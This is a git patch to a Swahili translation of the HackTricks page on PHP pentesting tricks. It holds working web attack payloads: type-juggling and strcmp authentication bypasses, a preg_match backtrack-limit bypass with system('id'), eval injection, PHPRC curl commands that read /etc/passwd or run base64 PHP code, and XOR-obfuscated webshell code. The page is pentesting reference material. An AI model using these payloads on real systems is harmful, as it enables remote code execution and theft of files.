From b287f47f25e465a42762a7eb4fefef4e6af3eeec Mon Sep 17 00:00:00 2001 From: Translator Date: Sun, 12 May 2024 19:52:07 +0000 Subject: [PATCH] Translated ['network-services-pentesting/pentesting-web/php-tricks-esp/R --- .../pentesting-web/php-tricks-esp/README.md | 122 ++++++++++-------- 1 file changed, 67 insertions(+), 55 deletions(-) diff --git a/network-services-pentesting/pentesting-web/php-tricks-esp/README.md b/network-services-pentesting/pentesting-web/php-tricks-esp/README.md index 4b69314f1..f219ec9b1 100644 --- a/network-services-pentesting/pentesting-web/php-tricks-esp/README.md +++ b/network-services-pentesting/pentesting-web/php-tricks-esp/README.md @@ -2,15 +2,15 @@
-Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)! +Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)! Njia nyingine za kusaidia HackTricks: -* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)! +* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)! * Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com) * Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee * **Jiunge na** ๐Ÿ’ฌ [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** ๐Ÿฆ [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github. +* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
@@ -20,7 +20,7 @@ Njia nyingine za kusaidia HackTricks: ## Mahali ya Kawaida ya Vidakuzi: -Hii pia ni sahihi kwa vidakuzi vya phpMyAdmin. +Hii pia ni halali kwa vidakuzi vya phpMyAdmin. Vidakuzi: ``` @@ -38,26 +38,26 @@ Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e ### Ulinganisho wa Kupumzika/Type Juggling ( == ) -Ikiwa `==` inatumika katika PHP, basi kuna hali zisizotarajiwa ambapo ulinganisho haifanyi kazi kama ilivyotarajiwa. Hii ni kwa sababu "==" inalinganisha tu thamani zilizobadilishwa kuwa aina ile ile, ikiwa unataka pia kulinganisha aina ya data inayolinganishwa ni sawa unahitaji kutumia `===`. +Ikiwa `==` inatumika katika PHP, basi kuna kesi zisizotarajiwa ambapo ulinganisho haifanyi kazi kama ilivyotarajiwa. Hii ni kwa sababu "==" inalinganisha tu thamani zilizobadilishwa kuwa aina ile ile, ikiwa unataka pia kulinganisha aina ya data inayolinganishwa ni sawa unahitaji kutumia `===`. -Vitabu vya Ulinganisho wa PHP: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php) +Vitabu vya ulinganisho wa PHP: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php) ![](<../../../.gitbook/assets/image (567).png>) {% file src="../../../.gitbook/assets/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %} -* `"string" == 0 -> Kweli` String ambayo haianzi na nambari ni sawa na nambari -* `"0xAAAA" == "43690" -> Kweli` Maneno yaliyoundwa na nambari katika muundo wa dec au hex yanaweza kulinganishwa na nambari/maneno mengine kwa matokeo ya Kweli ikiwa nambari zilikuwa sawa (nambari katika string zinaeleweka kama nambari) -* `"0e3264578" == 0 --> Kweli` String inayoanza na "0e" na ikifuatiwa na chochote itakuwa sawa na 0 -* `"0X3264578" == 0X --> Kweli` String inayoanza na "0" na ikifuatiwa na herufi yoyote (X inaweza kuwa herufi yoyote) na ikifuatiwa na chochote itakuwa sawa na 0 -* `"0e12334" == "0" --> Kweli` Hii ni ya kuvutia sana kwa sababu katika baadhi ya hali unaweza kudhibiti kuingiza string ya "0" na baadhi ya maudhui ambayo yanahashishwa na kulinganishwa nayo. Kwa hivyo, ikiwa unaweza kutoa thamani ambayo itaunda hash ikiwaanza na "0e" na bila herufi yoyote, unaweza kupita kwa kulinganisha. Unaweza kupata **maneno yaliyohashishwa tayari** na muundo huu hapa: [https://github.com/spaze/hashes](https://github.com/spaze/hashes) -* `"X" == 0 --> Kweli` Herufi yoyote katika string ni sawa na int 0 +* `"string" == 0 -> True` String ambayo haianzi na nambari ni sawa na nambari +* `"0xAAAA" == "43690" -> True` Maneno yaliyoundwa na nambari katika muundo wa dec au hex yanaweza kulinganishwa na nambari/maneno mengine na matokeo ya True ikiwa nambari zilikuwa sawa (nambari katika string zinaeleweka kama nambari) +* `"0e3264578" == 0 --> True` String inayoanza na "0e" na ikifuatiwa na chochote itakuwa sawa na 0 +* `"0X3264578" == 0X --> True` String inayoanza na "0" na ikifuatiwa na herufi yoyote (X inaweza kuwa herufi yoyote) na ikifuatiwa na chochote itakuwa sawa na 0 +* `"0e12334" == "0" --> True` Hii ni ya kuvutia sana kwa sababu katika baadhi ya kesi unaweza kudhibiti kuingiza string ya "0" na baadhi ya maudhui ambayo yanahashishwa na kulinganishwa nayo. Kwa hivyo, ikiwa unaweza kutoa thamani ambayo itaunda hash ikiwaanza na "0e" na bila herufi yoyote, unaweza kupita kulinganisha. Unaweza kupata **maneno yaliyohashishwa tayari** na muundo huu hapa: [https://github.com/spaze/hashes](https://github.com/spaze/hashes) +* `"X" == 0 --> True` Herufi yoyote katika string ni sawa na int 0 Maelezo zaidi katika [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09) ### **in\_array()** -**Type Juggling** pia huathiri kazi ya `in_array()` kwa chaguo-msingi (unahitaji kuweka kweli hoja ya tatu ili kufanya kulinganisha kali): +**Type Juggling** pia huathiri kazi ya `in_array()` kwa chaguo-msingi (unahitaji kuweka kweli hoja ya tatu ili kufanya ulinganisho wa kina): ```php $values = array("apple","orange","pear","grape"); var_dump(in_array(0, $values)); @@ -67,7 +67,7 @@ var_dump(in_array(0, $values, true)); ``` ### strcmp()/strcasecmp() -Ikiwa kazi hii inatumika kwa **uthibitisho wowote** (kama kuthibitisha nenosiri) na mtumiaji anadhibiti upande mmoja wa kulinganisha, anaweza kutuma safu tupu badala ya herufi kama thamani ya nenosiri (`https://example.com/login.php/?username=admin&password[]=`) na kuepuka uthibitisho huu: +Ikiwa kazi hii inatumika kwa **uthibitisho wowote** (kama vile kuthibitisha nenosiri) na mtumiaji anadhibiti upande mmoja wa kulinganisha, anaweza kutuma safu tupu badala ya herufi kama thamani ya nenosiri (`https://example.com/login.php/?username=admin&password[]=`) na kuepuka uthibitisho huu: ```php if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; } // Real Password @@ -76,17 +76,17 @@ if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real ``` ### Ulinganifu wa Aina Kubwa -Hata kama `===` inatumika, kunaweza kuwa na makosa yanayofanya ulinganifu uwe hatarini kwa ulinganifu wa aina. Kwa mfano, ikiwa ulinganifu unabadilisha data kuwa aina tofauti ya kitu kabla ya kulinganisha: +Hata kama `===` inatumika, kunaweza kuwa na makosa ambayo yanafanya ulinganifu uwe hatarini kwa ulinganifu wa aina. Kwa mfano, ikiwa ulinganifu unabadilisha data kuwa aina tofauti ya kitu kabla ya kulinganisha: ```php (int) "1abc" === (int) "1xyz" //This will be true ``` ### preg\_match(/^.\*/) -**`preg_match()`** inaweza kutumika kwa **kuthibitisha kuingia kwa mtumiaji** (inachunguza ikiwa kuna **neno/regex** lolote kutoka kwenye **orodha nyeusi** lipo kwenye **kuingia kwa mtumiaji** na ikiwa halipo, nambari inaweza kuendelea na utekelezaji wake). +**`preg_match()`** inaweza kutumika kwa **kuthibitisha kuingia kwa mtumiaji** (inachunguza ikiwa kuna **neno/regex** lolote kutoka kwa **orodha nyeusi** lipo kwenye **kuingia kwa mtumiaji** na ikiwa halipo, nambari inaweza kuendelea na utekelezaji wake). #### Kupitisha mstari mpya -Hata hivyo, wakati wa kudhibiti mwanzo wa regexp `preg_match()` **inachunguza tu mstari wa kwanza wa kuingia kwa mtumiaji**, kisha ikiwa kwa njia fulani unaweza **tuma** kuingia kwa mtumiaji kwa **mistari kadhaa**, unaweza kufanikiwa kupitisha ukaguzi huu. Mfano: +Hata hivyo, wakati wa kudhibiti mwanzo wa regexp `preg_match()` **inachunguza tu mstari wa kwanza wa kuingia kwa mtumiaji**, kisha ikiwa kwa njia fulani unaweza **kupeleka** kuingia kwa mtumiaji katika **mistari kadhaa**, unaweza kufanikiwa kupitisha ukaguzi huu. Mfano: ```php $myinput="aaaaaaa 11111111"; //Notice the new line @@ -99,7 +99,7 @@ echo preg_match("/^.*1/",$myinput); echo preg_match("/^.*1.*$/",$myinput); //0 --> In this scenario preg_match DOESN'T find the char "1" ``` -Ili kudukua ukaguzi huu unaweza **kupeleka thamani na mistari mipya iliyofanywa urlencoded** (`%0A`) au ikiwa unaweza kutuma **data ya JSON**, ituma katika **mistari kadhaa**: +Ili kudukua ukaguzi huu unaweza **kutuma thamani na mistari mipya iliyowekwa kwenye URL** (`%0A`) au ikiwa unaweza kutuma **data ya JSON**, ituma kwa **mistari kadhaa**: ```php { "cmd": "cat /etc/passwd" @@ -120,17 +120,17 @@ Mchezo kutoka: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/c
-Kwa ufupi tatizo hutokea kwa sababu `preg_*` functions katika PHP inategemea [maktaba ya PCRE](http://www.pcre.org/). Katika PCRE, mifano fulani ya kawaida hulinganishwa kwa kutumia wito mwingi wa kurudia, ambao unatumia nafasi nyingi ya stak. Inawezekana kuweka kikomo kwenye idadi ya kurudia inayoruhusiwa, lakini katika PHP kikomo hiki [kawaida ni 100,000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) ambayo ni zaidi ya inavyolingana kwenye stak. +Kwa ufupi tatizo hutokea kwa sababu `preg_*` functions katika PHP inategemea [maktaba ya PCRE](http://www.pcre.org/). Katika PCRE, mifano fulani ya kawaida hulinganishwa kwa kutumia wito mwingi wa kurekodi, ambao unatumia nafasi nyingi ya steki. Inawezekana kuweka kikomo kwenye idadi ya kurudia kuruhusiwa, lakini katika PHP kikomo hiki [kawaida ni 100,000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) ambayo ni zaidi ya inavyolingana kwenye steki. [Uzi huu wa Stackoverflow](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) pia ulilinkiwa kwenye chapisho ambapo inazungumziwa kwa undani zaidi kuhusu suala hili. Kazi yetu ilikuwa wazi sasa:\ -**Tuma kuingiza ambacho kitafanya regex ifanye kurudia 100,000+, kusababisha SIGSEGV, kufanya `preg_match()` function irudishe `false` hivyo kufanya programu iweze kufikiria kuingiza kwetu si mbaya, kutupa mshangao mwishoni mwa mzigo kama `{system()}` ili kupata SSTI --> RCE --> bendera :)**. +**Tuma kuingiza ambayo itafanya regex ifanye kurudia 100,000+, kusababisha SIGSEGV, kufanya `preg_match()` function irudishe `false` hivyo kufanya programu iweze kufikiria kuwa kuingiza kwetu si mbaya, kutupa mshangao mwishoni mwa mzigo kitu kama `{system()}` ili kupata SSTI --> RCE --> bendera :)**. -Vizuri, kwa maneno ya regex, hatufanyi kweli "kurudia" 100k, bali badala yake tunahesabu "hatua za kurudi nyuma", ambazo kama [nyaraka za PHP](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) zinavyosema kawaida ni 1,000,000 (1M) katika kipengele cha `pcre.backtrack_limit`.\ +Vizuri, kwa maneno ya regex, hatufanyi kweli "kurudia" 100k, bali badala yake tunahesabu "hatua za kurudi nyuma", ambazo kama [nyaraka za PHP](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) zinaeleza kawaida ni 1,000,000 (1M) katika kipengele cha `pcre.backtrack_limit`.\ Ili kufikia hilo, `'X'*500_001` itatoa hatua milioni moja za kurudi nyuma (mbele 500k na nyuma 500k): ```python payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}" ``` -### Kuchanganya Aina za PHP kwa ajili ya kuficha (obfuscation) +### Kupangilia Aina kwa ajili ya kuficha PHP ```php $obfs = "1"; //string "1" $obfs++; //int 2 @@ -143,7 +143,7 @@ $obfs += ""; //int 7 ``` ## Tekeleza Baada ya Kuelekeza (EAR) -Ikiwa PHP inaelekeza kwenye ukurasa mwingine lakini hakuna **`die`** au **`exit`** kazi inayoitwa baada ya kichwa cha **`Location`** kimewekwa, PHP inaendelea kutekeleza na kuongeza data kwa mwili: +Ikiwa PHP inaelekeza kwenye ukurasa mwingine lakini hakuna **`die`** au **`exit`** kazi inayoitwa baada ya kichwa cha **`Location`** kusetiwa, PHP inaendelea kutekeleza na kuongeza data kwenye mwili: ```php ``` -## Udukuzi wa Njia na Ufichuaji wa Faili +## Uchomaji wa Njia na Uingizaji wa Faili Angalia: @@ -161,11 +161,11 @@ Angalia: [file-inclusion](../../../pentesting-web/file-inclusion/) {% endcontent-ref %} -## Mbinu Zaidi +## Mbinu zaidi -* **register\_globals**: Katika **PHP < 4.1.1.1** au ikiwa imepangwa vibaya, **register\_globals** inaweza kuwa active (au tabia zao inafanana). Hii inamaanisha kwamba katika variables za kawaida kama $\_GET ikiwa zina thamani kama $\_GET\["param"]="1234", unaweza kufikia hiyo thamani kupitia **$param. Kwa hivyo, kwa kutuma vigezo vya HTTP unaweza kubadilisha variables** ambazo hutumiwa ndani ya nambari. -* **PHPSESSION cookies za kikoa kimoja zimehifadhiwa mahali pamoja**, kwa hivyo ikiwa ndani ya kikoa **tofauti cookies hutumiwa kwenye njia tofauti** unaweza kufanya njia hiyo **ifikie cookie ya njia** kwa kuweka thamani ya cookie ya njia nyingine.\ -Kwa njia hii ikiwa **njia zote mbili zinafikia variable yenye jina sawa** unaweza kufanya **thamani ya variable hiyo katika njia1 itumike kwa njia2**. Na kisha njia2 itachukua kama halali variables za njia1 (kwa kumpa cookie jina linalolingana nayo katika njia2). +* **register\_globals**: Katika **PHP < 4.1.1.1** au ikiwa imepangwa vibaya, **register\_globals** inaweza kuwa active (au tabia zao inaigizwa). Hii inamaanisha kwamba katika mazingira ya kipekee kama $\_GET ikiwa na thamani kama $\_GET\["param"]="1234", unaweza kuipata kupitia **$param. Kwa hivyo, kwa kutuma vigezo vya HTTP unaweza kubadilisha **variables** ambazo hutumiwa ndani ya nambari. +* **PHPSESSION cookies za kikoa kimoja zinahifadhiwa mahali pamoja**, kwa hivyo ikiwa ndani ya kikoa **vidakuzi tofauti hutumiwa kwenye njia tofauti** unaweza kufanya njia hiyo **iweze kufikia kuki ya njia** kwa kuweka thamani ya kuki ya njia nyingine.\ +Kwa njia hii ikiwa **njia zote mbili zinafikia variable yenye jina sawa** unaweza kufanya **thamani ya variable hiyo katika njia 1 iweze kutumika kwa njia 2**. Na kisha njia 2 itachukua kama halali variables za njia 1 (kwa kumpa kuki jina linalolingana nayo katika njia 2). * Unapokuwa na **majina ya watumiaji** wa watumiaji wa mashine. Angalia anwani: **/\~\** kuona ikiwa saraka za php zimeamilishwa. * [**LFI na RCE kwa kutumia php wrappers**](../../../pentesting-web/file-inclusion/) @@ -182,7 +182,19 @@ True ``` ### Kichwa cha HTTP kukiuka kwa kutumia makosa ya PHP -Ikiwa **ukurasa wa PHP unachapisha makosa na kutoa nyuma baadhi ya data iliyotolewa na mtumiaji**, mtumiaji anaweza kufanya server ya PHP ichapishe **maudhui marefu vya kutosha** ili wakati inajaribu **kuongeza vichwa** kwenye jibu server itatoa kosa.\ +#### Kusababisha kosa baada ya kuweka vichwa + +Kutoka kwenye [**mfululizo huu wa Twitter**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A\&s=19) unaweza kuona kwamba kutuma zaidi ya vigezo vya GET 1000 au vigezo vya POST 1000 au faili 20, PHOP haitaweka vichwa kwenye jibu. + +Kuruhusu kukiuka kwa mfano vichwa vya CSP vinavyowekwa kwenye nambari kama: +```php +) @@ -193,15 +205,15 @@ Katika hali ifuatayo **mshambuliaji alifanya server itoe makosa makubwa**, na ka **\`ls\`;**\ **shell\_exec("ls");** -[Tazama hii kwa ajili ya kazi zaidi za PHP zinazofaa](php-useful-functions-disable\_functions-open\_basedir-bypass/) +[Tazama hii kwa kazi zaidi za PHP zinazofaa](php-useful-functions-disable\_functions-open\_basedir-bypass/) ### **RCE kupitia** **preg\_replace()** ```php preg_replace(pattern,replace,base) preg_replace("/a/e","phpinfo()","whatever") ``` -Ili kutekeleza kanuni katika hoja ya "badilisha" inahitajika angalau kulingana moja.\ -Chaguo hili la preg\_badilisha limekuwa **limepitwa na wakati tangu PHP 5.5.0.** +Ili kutekeleza kanuni katika hoja ya "badilisha" inahitajika angalau kulingana moja. \ +Chaguo hili la preg\_replace limekuwa **limepitwa na wakati tangu PHP 5.5.0.** ### **RCE kupitia Eval()** ``` @@ -218,9 +230,9 @@ Hii function ndani ya php inaruhusu wewe **kutekeleza code ambayo imeandikwa kwe ``` ?page=a','NeVeR') === false and system('ls') and strpos('a ``` -Utahitaji **kuvunja** muundo wa kanuni, **kuongeza** mzigo wako, na kisha **kuirekebisha tena**. Unaweza kutumia **operesheni za mantiki** kama vile "**na" au "%26%26" au "|"**. Tafadhali kumbuka kwamba "au", "||" haifanyi kazi kwa sababu ikiwa hali ya kwanza ni kweli mzigo wetu hautatekelezwa. Vivyo hivyo, ";" haifanyi kazi kwa sababu mzigo wetu hautatekelezwa. +Utahitaji **kuvunja** muundo wa kanuni, **kuongeza** mzigo wako, na kisha **kuirekebisha tena**. Unaweza kutumia **shughuli za mantiki** kama "**na" au "%26%26" au "|"**. Tafadhali kumbuka kwamba "au", "||" haifanyi kazi kwa sababu ikiwa hali ya kwanza ni kweli mzigo wetu hautatekelezwa. Vivyo hivyo, ";" haifanyi kazi kwa sababu mzigo wetu hautatekelezwa. -**Chaguo lingine** ni kuongeza kwenye mfuatano wa herufi utekelezaji wa amri: `'.highlight_file('.passwd').'` +**Chaguo lingine** ni kuongeza kwenye herufi utekelezaji wa amri: `'.highlight_file('.passwd').'` **Chaguo lingine** (ikiwa una kanuni ya ndani) ni kubadilisha baadhi ya kivinjari ili kubadilisha utekelezaji: `$file = "hola"` @@ -257,24 +269,24 @@ Kugundua idadi ya mabano unayohitaji kufunga: ### **RCE kupitia .httaccess** -Ikiwa unaweza **kupakia** **.htaccess**, basi unaweza **kuwezesha** mambo kadhaa na hata kutekeleza nambari (kwa kuwezesha faili hizo zenye kipengele cha .htaccess kuweza **kutekelezwa**). +Ikiwa unaweza **kupakia** **.htaccess**, basi unaweza **kusanidi** mambo kadhaa na hata kutekeleza nambari (kusanidi faili hizo zenye kipengee cha .htaccess zinaweza kutekelezwa). -Makompyuta tofauti za .htaccess zinaweza kupatikana [hapa](https://github.com/wireghoul/htshells) +Makabati tofauti ya .htaccess yanaweza kupatikana [hapa](https://github.com/wireghoul/htshells) ### RCE kupitia Mazingira ya Mazingira -Ikiwa unapata udhaifu unaoruhusu kurekebisha **mazingira ya mazingira katika PHP** (na mwingine wa kupakia faili, ingawa kwa utafiti zaidi labda hii inaweza kudanganywa), unaweza kutumia tabia hii kupata **RCE**. +Ikiwa unapata udhaifu unaoruhusu ku **badilisha mazingira ya mazingira katika PHP** (na mwingine wa kupakia faili, ingawa kwa utafiti zaidi labda hii inaweza kudanganywa), unaweza kutumia tabia hii kupata **RCE**. -* [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path): Hii mazingira ya mazingira inaruhusu mzigo wa maktaba za kupindukia wakati wa kutekeleza programu nyingine (ingawa katika kesi hii inaweza isiwe kazi). -* **`PHPRC`** : Inaagiza PHP **mahali pa kupata faili yake ya usanidi**, kawaida inaitwa `php.ini`. Ikiwa unaweza kupakia faili yako ya usanidi, basi tumia `PHPRC` kuashiria PHP kwake. Ongeza kuingia **`auto_prepend_file`** ikieleza faili ya pili iliyopakiwa. Faili ya pili ina nambari za PHP za kawaida, ambazo kisha hutumiwa na muda wa PHP kabla ya nambari nyingine yoyote. -1. Pakia faili ya PHP inayoleta nambari yetu ya kabla -2. Pakia faili ya pili, inayoleta maelekezo ya **`auto_prepend_file`** ikiiagiza mchakato wa PHP wa kabla kutekeleza faili tuliyopakia hatua ya 1 -3. Weka mazingira ya `PHPRC` kwa faili tuliyopakia hatua ya 2. -* Pata habari zaidi kuhusu jinsi ya kutekeleza mnyororo huu [**kutoka kwenye ripoti ya asili**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/). +* [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path): Kipengee hiki cha mazingira kinakuwezesha kupakia maktaba za aina yoyote unapotekeleza programu zingine (ingawa katika kesi hii inaweza isiwe kazi). +* **`PHPRC`** : Inaagiza PHP **mahali pa kupata faili yake ya usanidi**, kawaida inaitwa `php.ini`. Ikiwa unaweza kupakia faili yako ya usanidi, basi tumia `PHPRC` kuashiria PHP kwake. Ongeza kuingia **`auto_prepend_file`** ikieleza faili ya pili iliyopakiwa. Faili ya pili ina nambari ya PHP ya kawaida, ambayo kisha inatekelezwa na wakati wa PHP kabla ya nambari nyingine yoyote. +1. Pakia faili ya PHP inayohusisha nambari yetu ya kabati +2. Pakia faili ya pili, inayohusisha kuingia cha **`auto_prepend_file`** kuiagiza mchakato wa PHP wa kabla kutekeleza faili tuliyopakia hatua ya 1 +3. Weka kipengee cha `PHPRC` kwa faili tuliyopakia hatua ya 2. +* Pata maelezo zaidi jinsi ya kutekeleza mnyororo huu [**kutoka kwenye ripoti ya asili**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/). * **PHPRC** - chaguo lingine -* Ikiwa huwezi kupakia faili, unaweza kutumia kwenye FreeBSD "faili" `/dev/fd/0` ambayo ina **`stdin`**, ikiwa **mwili** wa ombi lililotumwa kwa `stdin`: +* Ikiwa huwezi kupakia faili, unaweza kutumia FreeBSD "faili" `/dev/fd/0` ambayo ina **`stdin`**, ikiwa **mwili** wa ombi lililotumwa kwa `stdin`: * `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'` -* Au kupata RCE, wezesha **`allow_url_include`** na ongeza faili na **msingi wa nambari ya PHP ya base64**: +* Au kupata RCE, wezesha **`allow_url_include`** na kuongeza faili na **nambari ya PHP ya base64**: * `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'` * Mbinu [**kutoka kwenye ripoti hii**](https://vulncheck.com/blog/juniper-cve-2023-36845). @@ -286,21 +298,21 @@ exec, shell_exec, system, passthru, eval, popen unserialize, include, file_put_cotents $_COOKIE | if #This mea ``` -Ikiwa unafanya marekebisho kwenye programu ya PHP unaweza kuwezesha uchapishaji wa makosa kwa kuzidisha katika `/etc/php5/apache2/php.ini` kwa kuongeza `display_errors = On` na kuanzisha upya apache: `sudo systemctl restart apache2` +Ikiwa unafuatilia kwa makosa maombi ya PHP unaweza kuwezesha uchapishaji wa makosa kwa ujumla katika `/etc/php5/apache2/php.ini` kwa kuongeza `display_errors = On` na kuanzisha upya apache: `sudo systemctl restart apache2` -### Kufuta msimbao wa nambari ya PHP +### Kufuta Obfuscating Msimbo wa PHP -Unaweza kutumia **mtandao**[ **www.unphp.net**](http://www.unphp.net) **kufuta msimbao wa nambari ya php.** +Unaweza kutumia **mtandao**[ **www.unphp.net**](http://www.unphp.net) **kufuta obfuscate msimbo wa php.** ## PHP Wrappers & Protocols -PHP Wrappers na itifaki zinaweza kukuruhusu **kupuuza ulinzi wa kuandika na kusoma** kwenye mfumo na kuathiri. Kwa [**majarida zaidi angalia ukurasa huu**](../../../pentesting-web/file-inclusion/#lfi-rfi-using-php-wrappers-and-protocols). +PHP Wrappers na itifaki zinaweza kukuruhusu **kupuuza ulinzi wa kuandika na kusoma** katika mfumo na kuathiri. Kwa [**mifano zaidi angalia ukurasa huu**](../../../pentesting-web/file-inclusion/#lfi-rfi-using-php-wrappers-and-protocols). ## Xdebug unauthenticated RCE -Ikiwa unaona kwamba **Xdebug** ime **wezeshwa** kwenye matokeo ya `phpconfig()` unapaswa kujaribu kupata RCE kupitia [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit) +Ikiwa unaona kwamba **Xdebug** ime **wezeshwa** katika matokeo ya `phpconfig()` unapaswa kujaribu kupata RCE kupitia [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit) -## Nambari za nambari za nambari +## Variable variables ```php $x = 'Da'; $$x = 'Drums'; @@ -330,16 +342,16 @@ $_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #syst ``` ### **XOR** -XOR ni mbinu ya kuficha data ambayo inaweza kutumika kwa kuficha maandishi wazi. +XOR ni mbinu ya kuficha data ambayo inaweza kutumika kwa kuchanganya data na funguo za XOR. ```php $_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source $__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd $___=$__; #Could be not needed inside eval $_($___); #If ยข___ not needed then $_($__), show_source(.passwd) ``` -### XOR msimbo wa shell rahisi +### XOR msimbo wa kabibi -Kulingana na [**hii andiko**](https://mgp25.com/ctf/Web-challenge/) inawezekana kuzalisha msimbo wa shell rahisi kwa njia ifuatayo: +Kulingana na [**hii andiko**](https://mgp25.com/ctf/Web-challenge/) inawezekana kuzalisha msimbo wa kabibi kwa njia ifuatayo: ```php $_="`{{{"^"?<>/"; // $_ = '_GET'; ${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]); @@ -427,6 +439,6 @@ Njia nyingine za kusaidia HackTricks: * Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com) * Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee * **Jiunge na** ๐Ÿ’ฌ [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** ๐Ÿฆ [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github. +* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.